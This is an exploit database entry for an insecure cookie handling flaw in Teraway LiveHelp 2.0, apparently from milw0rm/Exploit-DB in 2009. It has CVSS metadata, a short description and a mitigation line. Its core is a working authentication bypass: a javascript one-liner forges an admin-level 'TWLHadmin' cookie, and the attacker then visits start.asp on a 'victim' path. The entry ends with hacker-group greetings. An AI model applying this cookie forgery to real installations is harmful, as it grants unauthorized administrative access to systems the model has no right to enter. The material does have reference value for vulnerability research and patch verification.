Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln

vendor:

Teraway LiveHelp

by:

milw0rm.com

7,5

CVSS

HIGH

Insecure Cookie Handling

384

CWE

Product Name: Teraway LiveHelp

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:teraway:teraway_livehelp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln

An attacker can exploit this vulnerability by setting a malicious cookie with the admin credentials. The attacker can then access the admin panel by visiting the start.asp page.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

-------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LiveHelp 2.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ya Jma3a Ana AfLawi Horr
-------------------------------------
Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="TWLHadmin=pwd=&lvl=1&usr=&alias=admin&userid=1;path=/";
Then Go to  http://victim/path/start.asp

demo
----
http://www.teraway.com/livehelp/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+]

# milw0rm.com [2009-04-27]